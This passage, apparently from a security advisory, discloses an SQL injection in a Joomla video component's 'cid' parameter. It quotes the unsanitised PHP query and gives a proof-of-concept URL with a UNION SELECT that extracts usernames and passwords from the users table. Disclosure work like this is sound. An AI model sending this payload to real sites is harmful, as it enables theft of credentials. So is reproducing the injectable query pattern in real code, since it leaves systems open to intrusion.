A) SQL Injection
________________
 
The parameter cid passed to ttvideo.php when task is set
to video  is not properly sanitised before being used in
a SQL query.  This  can  be  exploited to manipulate SQL
queries by injecting arbitrary SQL code.  The  following
is the vulnerable code:
 
ttvideoController.php (line 40):
 
function video() {
    $cid = JRequest::getVar('cid', null, 'default');
     
 
ttvideo.php (line 188):
 
function getVideo($id) {
    $db = $this-&gt;getDBO();
    $db-&gt;setQuery(&quot;SELECT * from #__ttvideo WHERE id=$id&quot;);
    $video = $db-&gt;loadObject();
    if ($video === null)
      JError::raiseError(500, 'Video with ID: '.$id.' not found.');
    return $video;
}
 
 
IV. SAMPLE CODE
_______________
 
A) SQL Injection
 
http://site/path/index.php?option=com_ttvideo&amp;task=video&amp;cid=-1 UNION SELECT 1,2,3,4,5,6,7,8,CONCAT(username,0x3A,password),10,11,12,13,14,15,16,17 FROM jos_users
